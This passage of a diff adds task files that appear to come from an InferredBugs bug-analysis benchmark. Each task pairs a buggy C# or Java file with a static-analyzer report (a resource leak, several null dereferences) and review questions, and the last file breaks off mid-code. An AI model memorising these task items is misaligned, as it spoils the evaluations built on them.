+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using log4net;
+using System;
+using System.IO;
+using System.Net;
+using System.Net.NetworkInformation;
+using System.Security.Cryptography;
+
+namespace AM2RLauncherLib;
+
+/// <summary>
+/// Class that has various Helper functions. Basically anything that could be used outside the Launcher resides here.
+/// </summary>
+public static class HelperMethods
+{
+    // Load reference to logger
+    /// <summary>
+    /// Our log object, that handles logging the current execution to a file.
+    /// </summary>
+    private static readonly ILog log = Core.Log;
+
+    // Thank you, Microsoft docs: https://docs.microsoft.com/en-us/dotnet/standard/io/how-to-copy-directories
+    // Slightly modified by adding overwriteFiles bool, as we need to replace readme, music, etc.
+    /// <summary>
+    /// This copies the contents of a specified Directory recursively to another Directory.
+    /// </summary>
+    /// <param name="sourceDirName">Full Path to the Directory that will be recursively copied.</param>
+    /// <param name="destDirName">Full Path to the Directory you want to copy to. If the Directory does not exist, it will be created.</param>
+    /// <param name="overwriteFiles">Specify if Files should be overwritten or not</param>
+    /// <param name="copySubDirs">Specify if you want to copy Sub-Directories as well.</param>
+    public static void DirectoryCopy(string sourceDirName, string destDirName, bool overwriteFiles = true, bool copySubDirs = true)
+    {
+        // Get the subdirectories for the specified directory.
+        DirectoryInfo dir = new DirectoryInfo(sourceDirName);
+
+        if (!dir.Exists)
+        {
+            throw new DirectoryNotFoundException($"Source directory does not exist or could not be found: {sourceDirName}");
+        }
+
+        DirectoryInfo[] dirs = dir.GetDirectories();
+
+        // If the destination directory doesn't exist, create it.
+        Directory.CreateDirectory(destDirName);
+
+        // Get the files in the directory and copy them to the new location.
+        FileInfo[] files = dir.GetFiles();
+        foreach (FileInfo file in files)
+        {
+            string tempPath = Path.Combine(destDirName, file.Name);
+            file.CopyTo(tempPath, overwriteFiles);
+        }
+
+        // If copying subdirectories, copy them and their contents to new location.
+        if (!copySubDirs)
+            return;
+
+        foreach (DirectoryInfo subDir in dirs)
+        {
+            string tempPath = Path.Combine(destDirName, subDir.Name);
+            DirectoryCopy(subDir.FullName, tempPath, overwriteFiles);
+        }
+
+    }
+
+    /// <summary>
+    /// This is a custom method, that deletes a Directory. The reason this is used, instead of <see cref="Directory.Delete(string)"/>,
+    /// is because this one sets the attributes of all files to be deletable, while <see cref="Directory.Delete(string)"/> does not do that on it's own.
+    /// It's needed, because sometimes there are read-only files being generated, that would normally need more code in order to reset the attributes.<br/>
+    /// Note, that this method acts recursively.
+    /// </summary>
+    /// <param name="targetDir">The directory to delete.</param>
+    public static void DeleteDirectory(string targetDir)
+    {
+        if (!Directory.Exists(targetDir)) return;
+
+        File.SetAttributes(targetDir, FileAttributes.Normal);
+
+        foreach (string file in Directory.GetFiles(targetDir))
+        {
+            File.SetAttributes(file, FileAttributes.Normal);
+            File.Delete(file);
+        }
+
+        foreach (string dir in Directory.GetDirectories(targetDir))
+        {
+            DeleteDirectory(dir);
+        }
+
+        Directory.Delete(targetDir, false);
+    }
+
+    /// <summary>
+    /// Calculates an MD5 hash from a given file.
+    /// </summary>
+    /// <param name="filename">Full Path to the file whose MD5 hash is supposed to be calculated.</param>
+    /// <returns>The MD5 hash as a <see cref="string"/>, empty string if file does not exist.</returns>
+    /*TODO: in the future we should use sha256, as both md5 and sha1 are unsafe.
+    This however needs to wait, until we somehow can find a way to publish the windows launcher as .net core...*/
+    public static string CalculateMD5(string filename)
+    {
+        // Check if File exists first
+        if (!File.Exists(filename))
+            return "";
+
+        using FileStream stream = File.OpenRead(filename);
+        using MD5 md5 = MD5.Create();
+        byte[] hash = md5.ComputeHash(stream);
+        return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant();
+    }
+
+    /// <summary>
+    /// Performs recursive rollover on a set of log files.
+    /// </summary>
+    /// <param name="logFile">The log file to begin the rollover from.</param>
+    /// <param name="max">The maximum amount of log files to retain. Default is 9, as that's the highest digit.</param>
+    //TODO: double check this method
+    public static void RecursiveRollover(string logFile, int max = 9)
+    {
+        int index = 1;
+        char endChar = logFile[logFile.Length - 1];
+        string fileName;
+
+        // If not the original file, set the new index and get the new fileName.
+        if (Char.IsNumber(endChar))
+        {
+            index = Int32.Parse(endChar.ToString()) + 1;
+            fileName = logFile.Remove(logFile.Length - 1) + index;
+        }
+        else // Otherwise, if the original file, just set fileName to log.txt.1.
+            fileName = logFile + ".1";
+
+        // If new name already exists, run the rollover algorithm on it!
+        if (File.Exists(fileName))
+            RecursiveRollover(fileName, max);
+
+        //TODO: this can fail if one doesn't have permissions to move or delete the file
+        // If index is less than max, rename file.
+        if (index < max)
+            File.Move(logFile, fileName);
+        else // Otherwise, delete the file.
+            File.Delete(logFile);
+    }
+
+    /// <summary>
+    /// Checks if we currently have an internet connection, by pinging GitHub.
+    /// </summary>
+    /// <returns><see langword="true"/> if we have internet, <see langword="false"/> if not.</returns>
+    public static bool IsConnectedToInternet()
+    {
+        log.Info("Checking internet connection...");
+        PingReply pingReply = new Ping().Send("https://github.com");
+        if (pingReply?.Status != IPStatus.Success)
+        {
+            log.Info("Internet connection failed.");
+            return false;
+        }
+        log.Info("Internet connection established!");
+        return true;
+    }
+
+    /// <summary>
+    /// Gets <paramref name="languageText"/> and replaces "$NAME" with <paramref name="replacementText"/>.
+    /// </summary>
+    /// <param name="languageText">The text to get</param>
+    /// <param name="replacementText">The text to replace "$NAME" with.</param>
+    /// <returns></returns>
+    public static string GetText(string languageText, string replacementText = "")
+    {
+        return languageText.Replace("$NAME", replacementText);
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Net.NetworkInformation.Ping::.ctor() at Line 151) of type System.Net.NetworkInformation.Ping in method "Boolean HelperMethods.IsConnectedToInternet()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean HelperMethods.IsConnectedToInternet()
+
+### File:
+AM2RLauncher/AM2RLauncherLib/HelperMethods.cs
+
+### Key:
+HelperMethods.cs|IsConnectedToInternet|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f5ce902d73dfbc0090916a6efd1b299a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10422/instruction.md b/inferredbugs-10422/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..29f4eaa78706c759536dc858917a4b4a4bba31a3
--- /dev/null
+++ b/inferredbugs-10422/instruction.md
@@ -0,0 +1,183 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.test.base;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.json.JSONObject;
+import org.json.XML;
+import org.openqa.selenium.By;
+import org.openqa.selenium.remote.DesiredCapabilities;
+import org.openqa.selenium.support.ui.ExpectedConditions;
+import org.openqa.selenium.support.ui.WebDriverWait;
+import org.testng.annotations.AfterClass;
+import org.testng.annotations.BeforeClass;
+
+import io.appium.java_client.AppiumDriver;
+import io.appium.java_client.MobileElement;
+import io.appium.java_client.android.AndroidDriver;
+
+public class BaseTest extends AvailabelPorts {
+	protected String port;
+	public AppiumDriver<MobileElement> driver;
+	CommandPrompt cp = new CommandPrompt();
+	AppiumManager appiumMan = new AppiumManager();
+	AndroidDeviceConfiguration androidDevice = new AndroidDeviceConfiguration();
+
+	@BeforeClass
+	public void testopenBroswer() throws Exception {
+		ArrayList<String> devices=androidDevice.getDeviceSerail();
+		System.out.println("*************" + Thread.currentThread().getName().split("-")[3]);
+		int thread_device_count=Integer.valueOf(Thread.currentThread().getName().split("-")[3]) - 1;
+		String device_udid = devices.get(thread_device_count);
+		port = appiumMan.startAppium(device_udid);
+		DesiredCapabilities capabilities = new DesiredCapabilities();
+		capabilities.setCapability("deviceName", "Android");
+		capabilities.setCapability("platformName", "android");
+		capabilities.setCapability("platformVersion", "5.X");
+		capabilities.setCapability("app", System.getProperty("user.dir") + "/build/AndroidCalculator.apk");
+		capabilities.setCapability("package", "com.android2.calculator3");
+		capabilities.setCapability("appActivity", "com.android2.calculator3.Calculator");
+		System.out.println("http://127.0.0.1:" + port + "/wd/hub" + device_udid);
+		Thread.sleep(5000);
+		driver = new AndroidDriver<MobileElement>(new URL("http://127.0.0.1:" + port + "/wd/hub"), capabilities);
+
+	}
+
+	@AfterClass
+	public void testcloseBrowser() throws Exception {
+		driver.quit();
+		//androidDevice.stopADB();
+
+	}
+
+	public void waitForElement(By id, int time) {
+		WebDriverWait wait = new WebDriverWait(driver, 20);
+		wait.until(ExpectedConditions.elementToBeClickable((id)));
+	}
+	
+	@SuppressWarnings("unused")
+	public void convertXmlToJSon() throws IOException{
+		String fileName = "report.json";
+		BufferedWriter bufferedWriter = null;
+		try {
+			
+			FileWriter fileWriter;
+			
+			List textFiles = new ArrayList();	
+			  File dir = new File(System.getProperty("user.dir") + "/test-output/junitreports");
+			  for (File file : dir.listFiles()) {
+				    if (file.getName().contains(("Test"))) {
+				      System.out.println(file);
+			
+				fileWriter = new FileWriter(fileName,true);
+				InputStream inputStream = new FileInputStream(file);
+				StringBuilder builder = new StringBuilder();
+				int ptr = 0;
+				while ((ptr = inputStream.read()) != -1) {
+					builder.append((char) ptr);
+				}
+				
+				String xml = builder.toString();
+				JSONObject jsonObj = XML.toJSONObject(xml);
+			
+				// Always wrap FileWriter in BufferedWriter.
+				bufferedWriter = new BufferedWriter(fileWriter);
+
+				// Always close files.
+				String jsonPrettyPrintString = jsonObj.toString(4);
+				//bufferedWriter.write(jsonPrettyPrintString);
+				bufferedWriter.append(jsonPrettyPrintString);
+				bufferedWriter.newLine();
+				bufferedWriter.close();
+			}
+			  }
+		} catch (IOException ex) {
+			System.out.println("Error writing to file '" + fileName + "'");
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+	}
+	
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `dir.listFiles()` could be null and is dereferenced at line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BaseTest.convertXmlToJSon()
+
+### Procedure Id:
+com.test.base.BaseTest.convertXmlToJSon():void.462f416b63db95b68cfdf28bfba708ea
+
+### File:
+src/test/java/com/test/base/BaseTest.java
+
+### Key:
+BaseTest.java|convertXmlToJSon|NULL_DEREFERENCE
+
+### Node Key:
+24ee14a57e8a90ab88fc833015223ecd
+
+### Hash:
+407770cdaa7cdb54ff6049e16c1c5e3b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10440/instruction.md b/inferredbugs-10440/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ffcb0ee80255be1c874fc38b7628be801cb158b0
--- /dev/null
+++ b/inferredbugs-10440/instruction.md
@@ -0,0 +1,225 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 55
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.utils;
+
+import com.appium.manager.AppiumManagerFactory;
+import com.appium.manager.IAppiumManager;
+import com.thoughtworks.device.Device;
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.util.*;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+
+public class HostMachineDeviceManager {
+
+    private static final String PLATFORM = "Platform";
+    private static final String UDIDS = "udids";
+    private CapabilityManager capabilityManager;
+    private DevicesByHost devicesByHost;
+    private static HostMachineDeviceManager instance;
+
+    private HostMachineDeviceManager() {
+        try {
+            capabilityManager = CapabilityManager.getInstance();
+            initializeDevicesByHost();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static HostMachineDeviceManager getInstance() throws IOException {
+        if (instance == null) {
+            instance = new HostMachineDeviceManager();
+        }
+        return instance;
+    }
+
+    private void initializeDevicesByHost() {
+        if (devicesByHost == null) {
+            try {
+                Map<String, List<AppiumDevice>> allDevices = getDevices();
+                Map<String, List<AppiumDevice>> devicesFilteredByPlatform = filterByDevicePlatform(allDevices);
+                Map<String, List<AppiumDevice>> devicesFilteredByUserSpecified = filterByUserSpecifiedDevices(devicesFilteredByPlatform);
+                devicesByHost = new DevicesByHost(devicesFilteredByUserSpecified);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private Map<String, List<AppiumDevice>> filterByUserSpecifiedDevices(Map<String, List<AppiumDevice>> devicesByHost) {
+        String udidsString = System.getProperty(UDIDS);
+        List<String> udids = udidsString == null ? Collections.emptyList() : Arrays.asList(udidsString.split(","));
+
+        if (udids.size() == 0) {
+            return devicesByHost;
+        } else {
+            HashMap<String, List<AppiumDevice>> filteredDevicesHostName = new HashMap<>();
+            devicesByHost.forEach((hostName, appiumDevices) -> {
+                List<AppiumDevice> filteredDevices = appiumDevices.stream().filter(appiumDevice -> udids.contains(appiumDevice.getDevice().getUdid())).collect(Collectors.toList());
+                if (!filteredDevices.isEmpty()) {
+                    filteredDevicesHostName.put(hostName, filteredDevices);
+                }
+            });
+            return filteredDevicesHostName;
+        }
+    }
+
+    private Map<String, List<AppiumDevice>> filterByDevicePlatform(Map<String, List<AppiumDevice>> devicesByHost) {
+        String platform = System.getProperty(PLATFORM);
+        if (platform.equalsIgnoreCase(OSType.BOTH.name())) {
+            return devicesByHost;
+        } else {
+            HashMap<String, List<AppiumDevice>> filteredDevicesHostName = new HashMap<>();
+            devicesByHost.forEach((hostName, appiumDevices) -> {
+                List<AppiumDevice> filteredDevices = appiumDevices.stream().filter(appiumDevice ->
+                        appiumDevice.getDevice().getOs().equalsIgnoreCase(platform)).collect(Collectors.toList());
+                if (!filteredDevices.isEmpty())
+                    filteredDevicesHostName.put(hostName, filteredDevices);
+            });
+            return filteredDevicesHostName;
+        }
+    }
+
+    public DevicesByHost getDevicesByHost() {
+        return devicesByHost;
+    }
+
+    private Map<String, List<AppiumDevice>> getDevices() throws Exception {
+        String platform = System.getProperty(PLATFORM);
+        Map<String, List<AppiumDevice>> devicesByHost = new HashMap<>();
+        if (capabilityManager.getCapabilities().has("hostMachines")) {
+            JSONArray hostMachines = capabilityManager.getHostMachineObject();
+            for (Object hostMachine : hostMachines) {
+                JSONObject hostMachineJson = (JSONObject) hostMachine;
+                String machineIP = hostMachineJson.getString("machineIP");
+                IAppiumManager appiumManager = AppiumManagerFactory.getAppiumManager(machineIP);
+                List<Device> devices = appiumManager.getDevices(machineIP, platform);
+
+                if (!platform.equalsIgnoreCase("android")
+                        && capabilityManager.isSimulatorAppPresentInCapsJson()
+                        && hostMachineJson.has("simulators")) {
+                    JSONArray simulators = hostMachineJson.getJSONArray("simulators");
+                    List<Device> simulatorsToBoot = getSimulatorsToBoot(
+                            machineIP, simulators);
+                    devices.addAll(simulatorsToBoot);
+                }
+
+                List<AppiumDevice> appiumDevices = getAppiumDevices(machineIP, devices);
+
+                devicesByHost.put(machineIP, appiumDevices);
+            }
+        } else {
+            throw new RuntimeException("Provide hostMachine in Caps.json for execution");
+        }
+        return devicesByHost;
+    }
+
+
+    private List<AppiumDevice> getAppiumDevices(String machineIP, List<Device> devices) {
+        return devices.stream().map(getAppiumDevice(machineIP)).collect(Collectors.toList());
+    }
+
+    private Function<Device, AppiumDevice> getAppiumDevice(String machineIP) {
+        return device -> {
+            AppiumDevice appiumDevice = new AppiumDevice(device, machineIP);
+            try {
+                appiumDevice.setPort(new AvailablePorts().getAvailablePort(machineIP));
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+            return appiumDevice;
+        };
+    }
+
+    private List<Device> getSimulatorsToBoot(String machineIP, JSONArray simulators) throws IOException, InterruptedException {
+        List<Device> devices = new ArrayList<>();
+        for (Object simulator : simulators) {
+            JSONObject simulatorJson = (JSONObject) simulator;
+            String deviceName = simulatorJson.getString("deviceName");
+            String os = simulatorJson.getString("OS");
+            IAppiumManager appiumManager = AppiumManagerFactory.getAppiumManager(machineIP);
+            Device device = appiumManager.getSimulator(machineIP, deviceName, os);
+            if (!device.getState().equals("Booted")) {
+                devices.add(device);
+            }
+        }
+        return devices;
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `platform` last assigned on line 90 could be null and is dereferenced by call to `getDevices(...)` at line 98.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Map HostMachineDeviceManager.getDevices()
+
+### Procedure Id:
+com.appium.utils.HostMachineDeviceManager.getDevices():java.util.Map.43d6daeea1f7bda68c5c482f39e5e970
+
+### File:
+src/main/java/com/appium/utils/HostMachineDeviceManager.java
+
+### Key:
+HostMachineDeviceManager.java|getDevices|NULL_DEREFERENCE
+
+### Node Key:
+549d551a8f37004ce41f90eb7b51d9d7
+
+### Hash:
+115a94c52af26a5501b04336aec6a5ed
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10441/instruction.md b/inferredbugs-10441/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fb842ef137a3fd1ca27056ce77f505d6cfa4bd1c
--- /dev/null
+++ b/inferredbugs-10441/instruction.md
@@ -0,0 +1,237 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 63
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.manager;
+
+import com.appium.utils.Api;
+import com.appium.utils.CapabilityManager;
+import com.appium.utils.OSType;
+import com.fasterxml.jackson.databind.DeserializationFeature;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.thoughtworks.device.Device;
+import okhttp3.Response;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.net.URL;
+import java.net.URLEncoder;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Optional;
+
+public class RemoteAppiumManager implements IAppiumManager {
+
+    @Override
+    public void destroyAppiumNode(String host) throws IOException {
+        new Api().getResponse("http://" + host + ":4567"
+                + "/appium/stop").body().string();
+
+    }
+
+    @Override
+    public String getRemoteWDHubIP(String host) throws IOException {
+        String hostIP = "http://" + host;
+        String appiumRunningPort = new JSONObject(new Api().getResponse(hostIP + ":4567"
+                + "/appium/isRunning").body().string()).get("port").toString();
+        return hostIP + ":" + appiumRunningPort + "/wd/hub";
+    }
+
+    @Override
+    public void startAppiumServer(String host) throws Exception {
+        System.out.println(
+                "**************************************************************************\n");
+        System.out.println("Starting Appium Server on host " + host);
+        System.out.println(
+                "**************************************************************************\n");
+        String serverPath = CapabilityManager.getInstance().getAppiumServerPath(host);
+        String serverPort = CapabilityManager.getInstance().getAppiumServerPort(host);
+        if (serverPath == null
+                && serverPort == null) {
+            System.out.println("Picking Default Path for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start").body().string();
+        } else if (serverPath != null && serverPort != null) {
+            System.out.println("Picking UserSpecified Path & Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?URL=" + serverPath
+                    + "&PORT=" + serverPort).body().string();
+        } else if (serverPath != null) {
+            System.out.println("Picking UserSpecified Path "
+                    + "& Using default Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?URL=" + serverPath).body().string();
+        } else if (serverPort != null) {
+            System.out.println("Picking Default Path & User Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?PORT=" + serverPort).body().string();
+        }
+
+        boolean status = Boolean.getBoolean(new JSONObject(new Api().getResponse("http://" + host + ":4567"
+                + "/appium/isRunning").body().string()).get("status").toString());
+        if (status) {
+            System.out.println(
+                    "***************************************************************\n");
+            System.out.println("Appium Server started successfully on  " + host);
+            System.out.println(
+                    "****************************************************************\n");
+        }
+    }
+
+    @Override
+    public List<Device> getDevices(String machineIP, String platform) throws Exception {
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        List<Device> devices = new ArrayList<>();
+
+        if (platform.equalsIgnoreCase(OSType.ANDROID.name())
+                || platform.equalsIgnoreCase(OSType.BOTH.name())) {
+            List<Device> androidDevices = Arrays.asList(mapper.readValue(new URL(
+                            "http://" + machineIP + ":4567/devices/android"),
+                    Device[].class));
+            Optional.ofNullable(androidDevices).ifPresent(devices::addAll);
+        }
+        if (platform.equalsIgnoreCase(OSType.iOS.name())
+                || platform.equalsIgnoreCase(OSType.BOTH.name())) {
+            if (CapabilityManager.getInstance().isApp()) {
+                if (CapabilityManager.getInstance().isSimulatorAppPresentInCapsJson()) {
+                    List<Device> bootedSims = Arrays.asList(mapper.readValue(new URL(
+                                    "http://" + machineIP + ":4567/devices/ios/bootedSims"),
+                            Device[].class));
+                    Optional.ofNullable(bootedSims).ifPresent(devices::addAll);
+                }
+                if (CapabilityManager.getInstance().isRealDeviceAppPresentInCapsJson()) {
+                    List<Device> iOSRealDevices = Arrays.asList(mapper.readValue(new URL(
+                                    "http://" + machineIP + ":4567/devices/ios/realDevices"),
+                            Device[].class));
+                    Optional.ofNullable(iOSRealDevices).ifPresent(devices::addAll);
+                }
+            } else {
+                List<Device> iOSDevices = Arrays.asList(mapper.readValue(new URL(
+                                "http://" + machineIP + ":4567/devices/ios/realDevices"),
+                        Device[].class));
+                Optional.ofNullable(iOSDevices).ifPresent(devices::addAll);
+            }
+        }
+        return devices;
+    }
+
+    @Override
+    public Device getSimulator(String machineIP, String deviceName, String os) throws IOException {
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        String url = String.format("http://%s:4567/device/ios/simulator"
+                        + "?simulatorName=%s&simulatorOSVersion=%s",
+                machineIP, URLEncoder.encode(deviceName, "UTF-8"),
+                URLEncoder.encode(os, "UTF-8"));
+        Device device = mapper.readValue(new URL(url),
+                Device.class);
+        return device;
+    }
+
+    @Override
+    public int getAvailablePort(String hostMachine) throws IOException {
+        String url = String.format("http://%s:4567/machine/availablePort", hostMachine);
+        Response response = new Api().getResponse(url);
+        return Integer.parseInt(response.body().string());
+    }
+
+    @Override
+    public int startIOSWebKitProxy(String host) throws Exception {
+        int port = getAvailablePort(host);
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        String url = String.format("http://%s:4567/devices/ios/webkitproxy/start"
+                        + "?udid=%s&port=%s", host,
+                AppiumDeviceManager.getAppiumDevice().getDevice().getUdid(),
+                port);
+        Response response = new Api().getResponse(url);
+        AppiumDeviceManager.getAppiumDevice().setWebkitProcessID(response.body().string());
+        return port;
+    }
+
+    @Override
+    public void destoryIOSWebKitProxy(String host) throws Exception {
+        if (AppiumDeviceManager.getAppiumDevice().getWebkitProcessID() != null) {
+            ObjectMapper mapper = new ObjectMapper()
+                    .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+            String url = String.format("http://%s:4567/devices/ios/webkitproxy/stop"
+                            + "?processID=%s", host,
+                    AppiumDeviceManager.getAppiumDevice().getWebkitProcessID());
+            new Api().getResponse(url);
+            AppiumDeviceManager.getAppiumDevice().setWebkitProcessID(null);
+        }
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `__new(com.appium.utils.Api).getResponse(__new(java.lang.StringBuilder).append("http://").append(host).append(":4567/appium/start?URL=").append(serverPath).toString()).body()`  at line 60.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RemoteAppiumManager.startAppiumServer(String)
+
+### Procedure Id:
+com.appium.manager.RemoteAppiumManager.startAppiumServer(java.lang.String):void.b7751a79d9bad4033b77786f9f0fc7a1
+
+### File:
+src/main/java/com/appium/manager/RemoteAppiumManager.java
+
+### Key:
+RemoteAppiumManager.java|startAppiumServer|NULL_DEREFERENCE
+
+### Node Key:
+21bbf00bf52cbb29c85ade37dbbc751f
+
+### Hash:
+2ed7a5b0817f7f7df30803b1b6081095
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10447/instruction.md b/inferredbugs-10447/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6021106a20e7a6d73f86b4eae3805625ec089edc
--- /dev/null
+++ b/inferredbugs-10447/instruction.md
@@ -0,0 +1,238 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.video.recorder;
+
+import com.appium.manager.AndroidDeviceConfiguration;
+import com.appium.utils.CommandPrompt;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Created by saikrisv on 2016/09/23.
+ */
+public class Flick extends CommandPrompt {
+
+    public static ConcurrentHashMap<Long, Integer> androidScreenRecordProcess =
+        new ConcurrentHashMap<>();
+    AndroidDeviceConfiguration androidDeviceConfiguration = new AndroidDeviceConfiguration();
+    Process screenRecord;
+
+    /**
+     * @param device_udid
+     * @param className     - Current test class name
+     * @param methodName    - Current test method name
+     * @param videoFileName - filename should have TimeStamp,deviceID with TestMethod name
+     * @throws IOException
+     * @throws InterruptedException
+     */
+    public void stopVideoRecording(String device_udid, String className, String methodName,
+        String videoFileName) throws IOException, InterruptedException {
+        System.out.println("**************Stopping Video Recording**************");
+        flickRecordingCommand("stop", device_udid, className, methodName, videoFileName);
+    }
+
+    /**
+     * @param device_udid
+     * @param className     - Current test class name
+     * @param methodName    - Current test method name
+     * @param videoFileName - filename should have TimeStamp,deviceID with TestMethod name
+     * @throws IOException
+     * @throws InterruptedException
+     */
+    public void startVideoRecording(String device_udid, String className, String methodName,
+        String videoFileName) throws IOException, InterruptedException {
+        System.out.println("**************Starting Video Recording**************");
+        flickRecordingCommand("start", device_udid, className, methodName, videoFileName);
+    }
+
+    public void flickRecordingCommand(String command, String device_udid, String className,
+        String methodName, String videoFileName) throws IOException, InterruptedException {
+        String videoPath = System.getProperty("user.dir");
+        String android = null;
+        String ios;
+        if (device_udid.length() != 40) {
+            String videoLocationAndroid =
+                videoPath + "/target/screenshot/android/" + device_udid.replaceAll("\\W", "_") + "/"
+                    + className + "/" + methodName;
+            fileDirectoryCheck(videoLocationAndroid);
+            if (command.equals("start")) {
+                try {
+                    if (androidDeviceConfiguration.checkIfRecordable(device_udid)
+                        && !androidDeviceConfiguration.getDeviceManufacturer(device_udid)
+                        .equals("Genymotion")) {
+                        screenRecord = Runtime.getRuntime()
+                            .exec(androidDeviceConfiguration.screenRecord(device_udid, methodName));
+                        System.out.println(
+                            "ScreenRecording has started..." + Thread.currentThread().getId());
+                        androidScreenRecordProcess
+                            .put(Thread.currentThread().getId(), getPid(screenRecord));
+                        System.out.println("Process ID's:" + getPid(screenRecord));
